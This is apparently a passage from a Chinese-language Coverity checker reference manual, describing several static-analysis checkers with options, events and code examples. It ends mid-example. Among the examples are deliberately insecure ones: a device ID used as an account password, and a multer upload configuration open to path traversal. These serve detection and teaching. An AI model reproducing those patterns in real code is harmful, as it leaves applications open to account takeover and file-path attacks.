在 C 语言中，针对 enum 类型的类型检查极为薄弱。因此，通常会混合 enum 类型，而不执行转换。即使是在 C++ 中，编译器也不会对整数类型表达式执行类型推断，因此开发人员在特意混合 enum 类型时经常不使用转换。总的说来，消除特意为之的 MIXED_ENUMS 缺陷最简洁的方法是在混合 enum 类型时执行显式转换，即使符号的已声明类型只是整数类型。

此检查器不会将使用多种涉及 enum 类型的常见 idiom 的情况报告为缺陷。例如，如果两个不同的 enum 类型包含采用相同顺序的相同枚举常量值，这两个类型会被视为等效类型。当库具有一个在其公共 API 中定义的 enum 类型，以及一个在内部定义的实际上等效的不同 enum 类型时，该检查器不会报告缺陷。理想情况下，代码会在两个 enum 类型之间显式转换。但是，由于编译器通常不需要执行此类转换，因此它们在代码中经常被忽略。

另一个 idiom 通过扩展可用值的范围在另一个 enum 类型上构建一个 enum 类型。如果一个 enum 类型包含的一组值接近于另一个 enum 类型的值的范围，该检查器会认为这两个 enum 类型互斥，这意味着它们是一组不重叠的值。

某些情况下会使用 enum 声明作为声明符号常量的便捷方式，而不是创建一个类型。这种做法在 C 代码中很常用。在下面的示例中，enum 声明不包含标记，因此它声明的类型不命名（或实际上为匿名形式）：

```
enum /* no tag here */ {
    a_constant,
    another_constant
};
```

由于在此类枚举中声明的枚举常量通常用于表示无类型的整数值，因此该检查器不会报告将这些匿名 enum 类型与其他 enum 类型混合的情况。这种检查方法可能产生的其中一种潜在意外其他作用是：不包含标记但被用于 typedef 或变量声明中的 enum 类型被视为匿名，即使这些不带标记的 enum 类型经常被当作类似的真正 enum 类型使用。例如：

```
typedef enum /* no tag here */ {
    one_enumeration_constant,
    another_enumeration_constant
} my_enum_type;
```

```
enum /* no tag here */ {
    foo,
```

```
    bar
} some_variable;
```

如果您不使用匿名枚举声明无类型的常量，可以启用 `report_anonymous_enums` 检查器选项，以避免错过涉及此类类型或变量的真正缺陷。

4.226.2. 示例

本部分提供了一个或多个 `MIXED_ENUMS` 示例。

在下面的示例中，执行 `switch` 的表达式具有 `enum` 类型，而 `enum` 类型 `case` 标签不是同一类型：

```
enum e {E1, E2};
enum f {F0, F1, F2, F3};
...
void foo(e ee) {
    switch (ee) {
        case E1:
            ...
        case F2: /* Defect */
            ...
    }
}
```

在下面的示例中，执行 `switch` 的表达式本身不是 `enum` 类型，而具有 `enum` 类型的 `case` 标签不是同一 `enum` 类型：

```
void bar(int x) {
    switch (x) {
        case E1: /* Defect in conjunction with (see the second line that follows) ... */
        ...
        case F2: /* ... this */
        ...
    }
}
```

4.226.3. 选项

本部分描述了一个或多个 `MIXED_ENUMS` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `MIXED_ENUMS:report_equivalentEnums:<boolean>` - 如果此选项被设置为 `true`，该检查器会报告混合实际上等效的不同 `enum` 类型的情况。默认值为 `MIXED_ENUMS:report_equivalentEnums:false`
- `MIXED_ENUMS:report_disjointEnums:<boolean>` - 如果此选项被设置为 `true`，该检查器会报告混合互斥的不同 `enum` 类型的情况。默认值为 `MIXED_ENUMS:report_disjointEnums:false`

- MIXED_ENUMS:report_anonymousEnums:<boolean> - 如果此选项被设置为 true , 该检查器会报告混合未命名 (匿名) enum 类型和其他 enum 类型的枚举常量的情况。默认值为 MIXED_ENUMS:report_anonymousEnums:false

4.226.4. 事件

本部分描述了 MIXED_ENUMS 检查器生成的一个或多个事件。

- switch_on_enum - enum 类型表达式是 switch 语句的操作数。
- first_enum_type - 在涉及 enum 类型的环境中使用整数类型表达式意味着该表达式实际上具有该 enum 类型。
- mixedEnums - 被声明或推断为具有 enum 类型的表达式与既不等效也不互斥的不同 enum 类型混合使用。
- mixedEquivalentEnums - 被声明或推断为具有 enum 类型的表达式与实际上等效的不同 enum 类型混合使用。
- mixedDisjointEnums - 被声明或推断为具有 enum 类型的表达式与互斥的不同 enum 类型混合使用。

4.227. MOBILE_ID_MISUSE

安全检查器

4.227.1. 概述

支持的语言 : . Java、Kotlin

MOBILE_ID_MISUSE 在移动设备标识符被用于验证方案时报告缺陷。您还可以将它设置为针对所有包含移动设备标识符的代码报告。移动设备标识符可以预测，因此不应用作密码、安全令牌、加密密钥或其他需要保护的值。攻击者可能会预测移动设备标识符，然后将其用于验证，进而获取数据与服务的访问权限。

- Java 启用

默认禁用： MOBILE_ID_MISUSE 默认禁用。

Android 安全检查器启用：要同时启用 MOBILE_ID_MISUSE 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

- Kotlin 启用

MOBILE_ID_MISUSE 默认启用。

4.227.2. 缺陷剖析

MOBILE_ID_MISUSE 缺陷说明了在验证方案中使用移动设备标识符的数据流路径。该路径从获取移动设备标识符的位置开始。在此处开始，缺陷中的各种事件说明了该移动设备标识符如何在程序中流动，例如

从函数调用的参数到被调用函数的参数。最后，该缺陷的主要事件说明了移动设备标识符是如何在验证方案中使用的。

4.227.3. 示例

本部分提供了一个或多个 MOBILE_ID_MISUSE 示例。

4.227.3.1. Java

下面的示例获取了移动设备标识符，并在调用 addAccountExplicitly 时将其用作新帐户的密码。

```
public class MobileIdMisuse extends Activity {

    public boolean addNewAccount(String accountName) {
        TelephonyManager tm =
            (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        if (tm == null) {
            return false;
        }
        AccountManager am = AccountManager.get(this);
        if (am == null) {
            return false;
        }
        Account account = new Account(accountName, "SomeAccount");
        String deviceId = tm.getDeviceId();
        am.addAccountExplicitly(account, deviceId, null);
        return true;
    }
}
```

4.227.3.2. Kotlin

下面的示例获取了移动设备标识符，并在调用 addAccountExplicitly 时将其用作新帐户的密码。

```
import android.app.Activity
import android.content.Context
import android.os.Bundle
import android.telephony.TelephonyManager
import android.accounts.AccountManager
import android.accounts.Account

class MainActivity : Activity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // ...
    }

    fun addNewAccount(accountName: String): Boolean {
```

```
    val tm = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager ?:  
        return false  
    val am = AccountManager.get(this) ?: return false  
    val account = Account(accountName, "SomeAccount")  
    val deviceId = tm.getDeviceId()  
    am.addAccountExplicitly(account, deviceId, null)  
    return true  
}  
}
```

4.227.4. 选项

本部分描述了一个或多个 MOBILE_ID_MISUSE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MOBILE_ID_MISUSE:report_all_mobile_id_uses:<boolean> - 将此选项设置为 true 会导致分析针对包含移动设备标识符的代码报告缺陷。它并不需要表明移动设备标识符被用于验证方案的证据。默认值为 MOBILE_ID_MISUSE:report_all_mobile_id_uses:false。

4.227.5. 模型和注解

Java

要为返回移动设备标识符的方法建模，请使用以下源原语：

```
com.coverity.primitives.SecurityPrimitives.sensitive_source(SensitiveDataType.SDT_MOBILE_ID)
```

要为具有被更新为或默认为包含移动设备标识符的参数的方法建模，请使用以下源原语：

```
com.coverity.primitives.SecurityPrimitives.sensitive_source(<parameter>,  
    SensitiveDataType.SDT_MOBILE_ID)
```

此外，您还可以使用 @SensitiveData(SensitiveDataType.SDT_MOBILE_ID) 代替源原语（请参阅 SensitiveData）。

此模型原语的参数标记了密码、加密密钥或安全令牌：

```
com.coverity.primitives.SecurityPrimitives.mobile_id_misuse_sink(Object o)
```

4.228. MULTER_MISCONFIGURATION

4.228.1. 概述

支持的语言：. JavaScript、TypeScript

MULTER_MISCONFIGURATION 检查器查找模块 multer 中间件的以下不安全配置情况：

- 全局应用模块 multer，从而允许任何路径上的文件上传，这可能会导致未经授权的上传。

- 使用上传请求中不受限制的文件字段和非文件字段的数量。文件字段由 `files` 属性指定，非文件字段由 `fields` 属性指定，多部分请求中文件字段和非文件字段的总数量可以使用 `parts` 属性指定。所有这些都是 `multer` 选项中 `limits` 配置的一部分。
- 当每个请求上传多个文件时，使用不受限制的文件计数。
- 在 `multer` 选项中将 `preservePath` 属性设置为 `true`，允许用户指定上传路径，这可能会导致路径遍历。
- 在 `multer` 选项中使用不安全的 `storage` 配置，允许用户将上传的文件存储在内存中，如果恶意用户上传非常大的文件，会使应用程序面临拒绝服务 (DoS) 攻击的风险。
- 在 `multer` 配置中使用可能被绕过的自定义文件验证功能。

默认禁用 `MULTER_MISCONFIGURATION` 检查器；您可以使用 `cov-analyze` 命令的 `webapp-security` 选项启用它。

4.228.2. 示例

本部分提供了一个或多个 `MULTER_MISCONFIGURATION` 示例。

在下面的示例中，如果在 `multer` 实例配置中将属性 `preservePath` 设置为 `true`，将显示 `MULTER_MISCONFIGURATION` 缺陷。

```
var express = require('express');
var multer = require('multer');
var app = express();

//create multer instance
var upload1 = multer({
    //keep path pre-pended to filename - might make app vulnerable to directory traversal
    preservePath: true,
    storage: multer.diskStorage({
        filename: function(req, file, callback){
            callback(null, file.originalname);
        },
        //destination as string
        destination: 'tmp/uploads',
    }),
    limits: {
        fileSize: 1024, //bytes
        fields: 25,
        parts: 100,
    }
});

//upload file
app.post('/upload', upload1.single('file'), function(req, res){
    res.status(200).send('File uploaded to ' + req.file.path);
});
```

4.229. NEGATIVE RETURNS

质量检查器

4.229.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

NEGATIVE RETURNS 查找很多滥用负整数的情况。负整数和可能为负的函数返回值在使用（例如作为数组索引、循环边界、代数表达式变量或系统调用的大小/长度参数）之前必须进行检查。

滥用负整数可能导致内存损坏、进程崩溃、无限循环、整数溢出和安全缺陷（如果用户能够控制没有正确检查的输入）。

常见的负整数滥用情况包括：

- 在使用负值作为静态数组索引前，将负值赋值给带符号的整数变量。
- 直接或通过将其转换为无符号的整数的方式使用负函数返回值。

将带符号的负整数隐式转换为无符号的整数会生成非常大的值。如果该值在使用之前未正确地执行边界检查，可能导致进程分配过多内存，允许循环处理的时间过长，越界访问和损坏内存或产生整数溢出等情况。这些缺陷很难检测，因为它们的影响可能不会在进程执行期间立即显示出来。

默认启用：NEGATIVE RETURNS 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.229.2. 示例

本部分提供了一个或多个 NEGATIVE RETURNS 示例。

```
void basic_negative() {
    int buff[1024];
    int x = some_function(); // some_function() might return -1.
    buff[x] = 0;             // Defect: buffer underrun at buff[-1]
}

void subtle_negative() {
    unsigned x;
    x = signed_count_func(); // Returns signed -1 on error.
                            // -1 cast to an unsigned is a very large integer.
    loop_with_param(x);     // Uses x as an upper bound.
                            // Defect: loop might never end or last too long.
}

void another_subtle_negative(){
    unsigned int c;
    for (i = 0; (c=read(fd, buf, sizeof(buf)))>0; i+=c)
        // read() returns -1 on error, c is now a very large integer
}
```

```
if (write(1, buf, c) != c) // Defect: Too many bytes written to stdout.  
    die("Write call failed");  
}
```

4.229.3. 模型

全局或单个函数内的不正确推断可能导致误报。对于全局情况，您可以编写自定义模型以减少误报。对于单个函数的情况，您可以使用 `//coverity` 代码行注解减少误报。

`NEGATIVE RETURNS` 可查找两种不同类型的错误全局信息：

1. 函数返回值可能为负。
2. 通过危险的方式在调用的函数中使用了可能为负的值。

例如，假设 Coverity Analysis 错误地分析了 `return_positive_value` 函数并且认定它可能返回 `-1`，而实际上这是不可能的。要抑制此类误报，您可以向库中添加以下模型：

```
int return_positive_value(void)  
{  
    int ret;  
    assert(ret >= 0);  
    return ret;  
}
```

此模型表明返回的值始终为非负值。

例如，如果 Coverity Analysis 确定负变量被用作了数组索引并且无法推断是否执行了代码边界检查，则可能发生第二种误报。在这种情况下，您可以添加模型，以显式表明函数确实执行了适当的边界检查：

```
int correct_bounds_check(int idx, int* buf)  
{  
    assert(idx >= 0);  
    return buf[idx];  
}
```

此模型表明索引在使用之前始终为非负值。

4.229.4. 事件

本部分描述了 `NEGATIVE RETURNS` 检查器生成的一个或多个事件。

- `negative_return_fn`：函数可能返回负值。
- `negative_returns`：将可能为负的值传递给了数据消费者。
- `var_tested_neg`：变量可能为负，并对其进行了跟踪，以确认其是否到达了数据消费者。

4.230. NESTING_INDENT_MISMATCH

质量检查器

4.230.1. 概述

支持的语言：. C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Scala 和 TypeScript (请参阅 Scala 示例中有关 `for` 的说明。)

`NESTING_INDENT_MISMATCH` 可报告代码的缩进结构与语法嵌套不匹配的很多情况。此类情况通常是由忘记在 `if` 语句本体周围添加可选大括号导致的。代码缩进意味着比语法所示更高的嵌套级别。

`NESTING_INDENT_MISMATCH` 仅在错误的缩进具有误导性时才触发；例如，两条语句本来应处于相同的级别，但实际并不处于相同的块中。

默认启用：`NESTING_INDENT_MISMATCH` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

可能导致此问题的原因有以下三种：

- 代码由于嵌套错误而导致逻辑不正确，但缩进表明开发人员打算对其正确嵌套。
- 代码逻辑正确但过度缩进。
- 代码编写正确，但由于使用了异常的格式被标识为问题。在这种情况下，您应该在 Coverity Connect 中将其分类为“特意”(Intentional)。

此检查器还可以根据缩进推断被称为“dangling else”的问题。在下面的示例中，看起来开发人员打算让 `do_something_else()` 作为第一个 `if` 语句的 `else` (即，当 `condition1` 为 `false` 时)。但是，`else` 被错误地编写成应用到第二个 `if` (即，当 `condition1` 为 `true` 且 `condition2` 为 `false` 时，并且当 `condition1` 为 `false` 时未发生任何情况)：

```
if (condition1)
    if (condition2)
        do_something();
else // "dangling"
    do_something_else();
```

当第二个 `if` 没有自己的 `else` 时，此代码应该按如下方式编写：

```
if (condition1)
{
    if (condition2)
        do_something();
}
else
    do_something_else();
```

不正确地嵌套代码可能产生诸多影响。如果开发人员打算 (但实际上并没有) 在 `if` 语句下嵌套一个语句，该代码将会被无条件执行。如果该语句是要嵌套在循环语句 (例如 `while` 或 `for`) 下，则它不会在循环体内执行，而且会在循环终止后无条件执行。

虽然不正确的缩进并不会导致运行时后果，但此类误导性格式可能会降低代码的可读性。

要修复由于不正确嵌套导致的问题，通常需要创建代码块（通过在要进行嵌套的多个语句周围添加花括号实现）。对于多语句宏，通常建议在宏定义本身内包括必要的花括号。当嵌套级别正确无误时，代码只需保持不缩进即可。

4.230.1.1. 确定制表符字符的缩进

NESTING_INDENT_MISMATCH 使用基于制表位的算法。在前导空格中出现一个制表符字符，即相当于输入中有足够的空格以进入下一个制表位。

定义：

- 前导空格：在一行中的语句之前出现的所有空格和制表符
- 空格：ASCII 32
- 制表符：水平制表符 (ASCII 9)
- 制表位：制表符会将光标前进至的屏幕上的栏位
- 制表符宽度：制表位之间的字符数（8 是硬编码默认值）

考虑将制表位设置为相距 8 个空格的旧式打字机。如果打字员敲击空格键两次，然后按 TAB 键，则回车键前进到第 8 栏位（而如果打字员键入一个制表符，然后键入两个空格，这将在第 10 栏位）。如果打字员再输入一个空格，然后再次按 TAB 键，则回车键前进到第 16 栏位。如果打字员随后敲击 TAB 键一次（前进到第 24 栏位），然后敲击一个空格，则打字机现在位于第 25 栏位上。另一个空格会让它置于第 26 栏位。如果打字员随后键入 :ACME，则单词 acme 将从左侧第 26 栏位开始。将 \s 显示为空格，将 \t 显示为制表符，此系列输入显示为：

```
\s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]ACME
```

现在考虑让 ACME 从第 26 栏位开始的其他方式：

```
\t[8]\t[16]\t[24]\s[25]\s[26]ACME
```

在上面两种情况下，NESTING_INDENT_MISMATCH 检查器都认为 ACME 从相同位置开始。

如果源为：

```
\s[1]\s[2]\t[8]\t[16]\t[24]if(some_condition)
\s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]do_thing_1();
\t[8]\t[16]\t[24]\s[25]\s[26]do_thing_2();
```

对于将制表符宽度设置为 8 的用户，看起来为：

```
if(some_condition)
    do_thing_1();
    do_thing_2(); // NESTING_INDENT_MISMATCH defect
```

... 因此在第二个语句中会报告缺陷。

4.230.2. 示例

本部分提供了一个或多个 NESTING_INDENT_MISMATCH 示例。

在下面的示例中，带有非复合 then 子语句 do_one_thing_conditionally(); 的 parent if 语句（此处称为 nephew）后接语句 do_another_thing_conditionally();（此处称为 uncle，因为它是 parent 的同级项，而不是 child 或 nephew 的同级项）。该缩进表明开发人员原本打算将 do_another_thing_conditionally(); 嵌套在 if 语句下（作为 nephew 的同级项），但它将被无条件执行：

```
if (condition) /* parent */
    do_one_thing_conditionally(); /* nephew */
    do_another_thing_conditionally(); /* uncle */
```

4.230.2.1. C/C++

在下面的 C/C++ 示例中，开发人员显然打算为指定 condition 中的 MULTI_STMT_MACRO 的所有扩展操作设置条件。虽然该语句的 foo(p->x); 部分带有条件，但 bar(p->y); 部分在 if 语句之后无条件执行：

```
#define MULTI_STMT_MACRO(x, y) foo(x); bar(y) /* user ';' */
/* ... */
if (condition)
    MULTI_STMT_MACRO(p->x, p->y);
```

4.230.2.2. PHP

```
function test($i) {
    if ($i)
        x();
        y(); // NESTING_INDENT_MISMATCH defect
}
```

4.230.2.3. Scala

在其他语言中（例如 C 或 C++），以下情况被视为 NESTING_INDENT_MISMATCH 缺陷：

```
for (int i = 0; i < 10; ++i)
    x();
    y(); // NESTING_INDENT_MISMATCH defect
```

因为缩进表明开发人员打算将 y(); 执行 10 次（但它不会）。

NESTING_INDENT_MISMATCH 的 Scala 版本不支持在 for 构造下检查不匹配。因此在 Scala 中，以下情况将不报告缺陷：

```
for(i <- 1 to 10)
    x();
    y(); // not reported in Scala
```

在此示例中，`y()` 是缺陷，因为缩进表明开发人员打算有条件地执行它：

```
def test(b : Boolean) {
    if(b)
        x()
        y() // defect here
}
```

在此示例中，`y()` 是缺陷，因为缩进表明它在逻辑上是 `if` 的 `else` 子句的一部分。但是，它被无条件地执行：

```
def test(b : Boolean) {
    if(b)
        x()
    else
        y()
        z() // NESTING_INDENT_MISMATCH defect
}
```

在此示例中，`y()` 是缺陷，因为它与 `x()` 在同一行，这表明开发人员打算对 `b` 的值有条件地执行 `y()`。但是，`y()` 被无条件地执行：

```
def test(b: Boolean) {
    if(b)
        x(); y(); // NESTING_INDENT_MISMATCH defect
}
```

在此示例中，`else` 子句是缺陷，因为缩进表明开发人员打算对 `b1` 的值有条件地执行它。但是，它被对 `b2` 的值有条件地执行：

```
def test(b1 : Boolean, b2 : Boolean) {
    if(b1)
        if(b2)
            do_something()
        else
            do_something_else() // NESTING_INDENT_MISMATCH (dangling else)
}
```

4.230.3. 选项

本部分描述了一个或多个 `NESTING_INDENT_MISMATCH` 选项。

- `NESTING_INDENT_MISMATCH:report_bad_indentation:<boolean>` - 当此选项为 `true` 时，该检查器将报告缩进与语法嵌套不匹配，但代码在逻辑上可能正确无误的情况。在这些情况下，运行时行为是正确的，但代码可能仍具有误导性并且难以维护。默认值为 `NESTING_INDENT_MISMATCH:report_bad_indentation:false`（适用于所有语言）。

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。适用于 C/C++、C#、Java、PHP。

4.230.4. 事件

本部分描述了 NESTING_INDENT_MISMATCH 检查器生成的一个或多个事件。

- actual_if - else 实际上按照语法与 if 语句一起执行。
- dangling_else - else 子句缩进有误或没有与其缩进所指的 if 语句一起执行。
- intended_if - 为其缩进 else 的 if 语句基于缩进。
- parent - nephew 嵌套在该语句下。
- nephew - 语句嵌套在 parent 下。
- uncle - 语句带有与 nephew 匹配的缩进，而该语句实际上是 parent 的同级项。
- multi_stmt_macro - 宏扩展为两个或更多个语句，只有第一个嵌套在 parent 下。（不适用于 Scala）

4.231. NO_EFFECT

质量检查器

4.231.1. 概述

支持的语言： C、C++、JavaScript、Objective-C、Objective-C++、PHP、Ruby、Scala、TypeScript

NO_EFFECT 可查找语句或表达式不完成任何操作或者语句执行非正常操作的很多情况。此问题通常是由排字错误、疏忽或误解语言规则（例如运算符优先级）引起的。

默认启用： NO_EFFECT 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.231.2. 示例

本部分提供了一个或多个 NO_EFFECT 示例。

4.231.2.1. C/C++

请参阅Section 4.231.3，“选项”中的 C/C++ 代码示例。

4.231.2.2. JavaScript

```
function resetArray(array) {  
    var i = 0 ;  
    while ( i < array.length ) {  
        array[ i++ ] == null; // Defect  
    }  
}
```

4.231.2.3. PHP

```
function test($x, $y) {
    &a === &b; // Defect here
}
```

4.231.2.4. Ruby

```
def math_asserts()
    assert(Math::PI > 3.14)
    assert(Math::PI < 3.15)
    Math::E > 2.71           # Defect
    assert(Math::E < 2.72)
end
```

4.231.2.5. Scala

在此示例中，函数不返回值，并且表达式 `x == y` 的值已声明但未被使用，这导致了缺陷。

```
def test_with_defect(x: Int, y: Int) { // does not return value
    x == y; // NO_EFFECT defect here because result of equality test is not returned
}
```

相比之下，不返回表达式 `x == y` 的结果的类似函数没有此缺陷。

```
def test_without_defect(x: Int, y: Int) : Boolean = { // returns a value
    x == y; // no defect here because result of equality test is returned
}
```

在此示例中，不返回值的函数具有缺陷，因为该值在没有任何作用的情况下被舍弃：

```
def test() { // does not return a value
    5; // NO_EFFECT defect here
}
```

在此示例中，本地变量被赋值给其本身，这没有任何作用：

```
def test() {
    var x : Int = 0;
    x = x; // defect - local self-assignment
}
```

4.231.3. 选项

本部分描述了一个或多个 `NO_EFFECT` 选项。

- `NO_EFFECT:array_null:<boolean>` - 当此选项为 `true` 时，该检查器将报告确认数组是否为 `NULL` 的检查。不会报告在宏中执行的检查。默认值为 `NO_EFFECT:array_null:true`（仅适用于 C、C++、Objective-C、Objective-C++）

```
void array_null() {
    unsigned int a[3];
    unsigned int b[1];
    unsigned int c[2];
    if (*a == 0)
        a[0];
    if (b == 0)           // The entire array b is compared to 0.
        b[1];
    if (c[1] == 0)
        c[1];
}
```

- NO_EFFECT:bad_memset:<boolean> - 当此选项为 true 时，该检查器将在可疑的参数被传递给 `memset` 函数时报告缺陷。长度参数为 0 可能表明长度参数和填充参数互换了。在 -1 到 255 范围之外的填充值可能导致截断。0 的填充值可能预期为 0。默认值为 NO_EFFECT:bad_memset:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void bad_memset() {
    int *p;
    memset(p, '0', 1);      // Fill value is '0', and 0 is more likely.
    memset(p, 1, 0);        // Length is 0, and so likely that 1 and 0 reversed.
    memset(p, 0xabcd, 1);   // Fill is truncated, and so memory
                           // will not contain the 0xabcd pattern.
}
```

- NO_EFFECT:extra_comma:<boolean> - 当此选项为 true 时，该检查器将在逗号运算符的左操作数没有其他作用时报告缺陷。默认值为 NO_EFFECT:extra_comma:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void extra_comma() {
    int a, b;
    for (a = 0, b = 0; a < 10, b < 10; a++, b++);
          // Extra comma, and so a < 10 is not used.
}
```

- NO_EFFECT:incomplete_delete:<boolean> - 当此选项为 true 时，该检查器将针对模式 `delete a, b` 报告缺陷。在该模式中，只释放第一个指针。默认值为 NO_EFFECT:incomplete_delete:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void incomplete_delete() {
    int *p, *q;
    delete p, q;    // The pointer q is not deleted.
}
```

- NO_EFFECT:no_effect_deref:<boolean> - 当此选项为 true 时，该检查器将报告无用的指针解引用。默认值为 NO_EFFECT:no_effect_deref:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void no_effect_deref() {
    int *p;
```

```
*p++;           // *p is useless
}
```

- NO_EFFECT:no_effect_test:<boolean> - 当此选项为 true 时，该检查器将报告无用的布尔测试。程序员可能原本打算为参数赋值，而不是比较参数。默认值为 NO_EFFECT:no_effect_test:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void no_effect_test() {
    int a, b;
    a == b;           // Test has no effect, and is
                      // likely intended to be the assignment a = b
}
```

- NO_EFFECT:report_useless_continue:<boolean> - 当此选项为 true 时，检查器将报告“continue”语句，这些语句可以在不影响代码执行的情况下移除。默认值为 NO_EFFECT:report_useless_continue:false (仅适用于 C、C++、Objective-C、Objective-C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

示例：

```
void test_for(){
    int i, j;
    for ( i=0, j=0; i<20; i++){
        j+=1;
        continue; //#defect#NO_EFFECT##useless_continue
    }
}

void test_do_if() {
    int i = 5, j = 1;
    do {
        if (i++ < 10) {
            j += 2;
            continue; //#defect#NO_EFFECT##useless_continue
        }
        else {
            j += 3;
            continue; //#defect#NO_EFFECT##useless_continue
        }
    }
    while (i < 20);
}

void test_switch(){
    int i = 3, j = 0;
    while (j++ < 100) {
        switch(j) {
            case 9:
```

```

{
    i--;
    continue; // Removing this "continue" changes execution flow
}
default:
    i+=2;
    continue; // #defect#NO_EFFECT##useless_continue
} // switch
} // while
}

```

- NO_EFFECT:self_assign:<boolean> - 当此选项为 true 时，该检查器将报告字段和全局项为自身赋值的情况。默认值为 NO_EFFECT:self_assign:true (适用于除 Scala 之外的所有语言)。

```

int a;
void self_assign(struct foo *ptr) {
    a = a; // assignment to self, global
    ptr->x = ptr->x; // assignment to self, field
}

```

- NO_EFFECT:self_assign_in_macro:<boolean> - 当此选项为 true 时，该检查器将报告右操作数位于宏内的自赋值。默认值为 NO_EFFECT:self_assign_in_macro:false (仅适用于 C、C++、Objective-C、Objective-C++)

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

```

#define swap(x) x
void self_assign_in_macro() {
    unsigned short csum;
    csum = swap(csum); // assignment to self, rhs inside macro
}

```

- NO_EFFECT:self_assign_to_local:<boolean> - 当此选项为 true 时，该检查器将报告本地项和参数为自身赋值的情况。默认值为 NO_EFFECT:self_assign_to_local:false (适用于所有语言)

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium，则该检查器选项会自动设置为 true。适用于 C/C++ 和 PHP。

```

void self_assign_local() {
    int a;
    a = a; // assignment to self, local
}

```

- NO_EFFECT:static_through_instance:<boolean> - 当此选项为 true 时，该检查器不会报告使用实例指针访问静态字段或方法的情况。默认值为 NO_EFFECT:static_through_instance:true (仅适用于 C、C++、Objective-C、Objective-C++)

示例：

```
struct C { static void foo(); int x; };
C * c; c->foo();           // Becomes "c, C::foo()". c is unnecessary,
                           // but not flagged.
C stackc; stackc.x = 4;
```

- NO_EFFECT:unsigned_compare:<boolean> - 该选项会报告无符号值与 0 的比较，除非表达式的父项是手动带符号转换。默认值为 NO_EFFECT:unsigned_compare:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
void unsigned_compare() {
    unsigned int a;
    if (a < 0)      // a is unsigned, and so the comparison is never true
        a++;
}
```

- NO_EFFECT:unsigned_compare_macros:<boolean> - 当此选项为 true 时，该检查器会报告无符号的数量在宏中与 0 进行比较的情况。默认值为 NO_EFFECT:unsigned_compare_macros:true (仅适用于 C、C++、Objective-C、Objective-C++)

```
#define MAYBE(a) if (a < 0) a++ // a is unsigned, and so the
                                // comparison to 0 is never true.
void testfn() {
    unsigned int a;
    MAYBE(a);
}
```

- NO_EFFECT:unsignedEnums:<boolean> - 当此选项为 true 时，如果 enum 的基础类型为无符号并且结果始终相同，该检查器会将 enum 值与 0 的比较报告为缺陷。请注意，enum 的基础类型有一部分通过编译器实现进行定义。默认值为 NO_EFFECT:unsignedEnums:false (仅适用于 C、C++、Objective-C、Objective-C++)

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

4.231.4. 事件

本部分描述了 NO_EFFECT 检查器生成的一个或多个事件。

- 该 C/C++ 事件与 NO_EFFECT 选项相同。请参阅 Section 4.231.3, “选项”。
- 此检查器的 JavaScript 和 TypeScript 版本仅生成一种类型的事件：*unused_expr。given 表达式没有副作用，未被使用。

4.232. NON_STATIC_GUARDING_STATIC 质量、并发检查器

4.232.1. 概述

支持的语言：. C#、Java

`NON_STATIC_GUARDING_STATIC` 查找通过锁定非静态字段来保护静态字段的很多情况。这可能在很多不同的对象上放置锁，包含被锁定的非静态字段的类的每一个实例具有一个锁，而这也等于根本没有锁。非静态锁定缺陷包括包含方法级 `synchronized` 关键字（在 Java 中）和 `MethodImplOptions.Synchronized` 属性（在 C# 中）的实例方法锁定。

如果在持有非静态锁时写入了静态字段，此检查器只会推断使用了特定的非静态锁来保护静态字段。如果是这种情况，则在持有非静态锁时对静态字段执行的所有读取和写入都会被标记为 `NON_STATIC_GUARDING_STATIC` 缺陷。

默认启用：`NON_STATIC_GUARDING_STATIC` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2, “启用和禁用检查器”。

4.232.2. 示例

本部分提供了一个或多个 `NON_STATIC_GUARDING_STATIC` 示例。

4.232.2.1. C#

在下面的示例中，分析推断 `refCount` 受 `mutex` 保护。如果多个线程（引用多个 `Foo` 对象）同时调用 `DoStuff()`，则在所有线程结束后，`Foo.refCount` 可能具有小于 `DoStuff()` 被调用次数的值，或者具有与线程有效序列执行的次数不一致的值。

```
class Foo {
    private static int refCount = 0;
    private Object mutex = new Object();

    public void DoStuff() {
        lock (mutex) {
            refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
        }
    }
}
```

下面的示例显示了关于读取和写入特定静态字段的缺陷。

```
public class Example {
    private object myLock; // Note that this is an instance field.
    private static long myResource;
    public void method() {
        lock(myLock) {
            myResource++; //A NON_STATIC_GUARDING_STATIC defect here.
        }
    }

    public long method2() {
        lock(myLock) {
```

```

        return myResource; //A NON_STATIC_GUARDING_STATIC defect here.
    }
}
}

```

在下面的示例中，该检查器不会对静态字段报告缺陷，因为它们是只读字段。由于锁定非静态上下文中没有写入操作，因此没有足够充分的证据可确定存在程序缺陷。

```

public class NoWritesExample {
    private object myLock; // Note that this is an instance field.
    private static long myResource;
    public bool method() {
        lock(myLock) {
            return myResource > 5; //No NON_STATIC_GUARDING_STATIC defect here.
        }
